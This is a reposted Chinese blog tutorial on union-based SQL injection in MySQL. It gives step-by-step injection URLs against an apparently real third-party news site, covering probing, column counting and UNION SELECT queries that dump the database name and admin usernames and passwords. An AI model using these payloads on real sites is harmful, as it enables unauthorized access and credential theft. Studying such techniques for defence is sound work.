SQL注入
Posted so7cool
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入相关的知识,希望对你有一定的参考价值。
基于联合调查的SQL注入
我们先了解一下mysql的系统函数
user() | database() | version() | concat() | group_concat() | datadir |
当前使用者的用户名 |
当前数据库名 |
数据库版本 |
连接一个或者多个字符串 |
接一个组的所有字符串,并以逗号分隔每一条数据 | 读取数据库的绝对路径 |
数字型注入
我们以http://www.guoshang.tk/news/read.php?id=50为例,可以看出这是一个动态URL,也就是说可以在地址栏中传参,这是SQL注入的基本条件。
1.判断是否能sql注入:
http://www.guoshang.tk/news/read.php?id=50‘ ① 页面返回错误
http://www.guoshang.tk/news/read.php?id=50 and 1=1 ② 页面返回正常
http://www.guoshang.tk/news/read.php?id=50 and 1=2 ③ 页面返回错误
如果符合上述三点则我们可以确定可以进行SQL注入,且id是一个注入点。
2.爆数据库:http://www.guoshang.tk/news/read.php?id=50 and ord(mid(version(),1,1))>51
如果返回正常页面,说明数据库是mysql,并且版本大于4.0,支持union查询,反之是4.0以下版本或者其他类型数据库。
3.爆字段:
a. http://www.guoshang.tk/news/read.php?id=50 order by 10 返回错误页面,说明字段小于10。
b. http://www.guoshang.tk/news/read.php?id=50 order by 5 返回正常页面,说明字段介于5和10之间。
c. http://www.guoshang.tk/news/read.php?id=50 order by 7 返回错误页面,说明字段大于5小于7,可以判断字段数是6.下面我们再来确认一下
d. http://www.guoshang.tk/news/read.php?id=50 order by 6 返回正常页面,说明字段确实是6
当然我们可以从1开始依次列举。
5.爆表:http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,3,4,5,6
我们发现页面返回给我们3个数字,3,5,6。 这里的3,5,6指是数据储存的位置,也就是我们可以把这三个数字中的一个或者多个替换成我们想要查询的关键字。
6.爆用户名等:
http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,database(),4,5,6
浏览器给我们返回了 xinwen 。说明这个网站 的数据库库名是 xinwen
同样我们也可以查询用户名和密码。
http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,username,4,password,6 from admin
注意这里的admin是表名,而不是固定的。
以上是关于SQL注入的主要内容,如果未能解决你的问题,请参考以下文章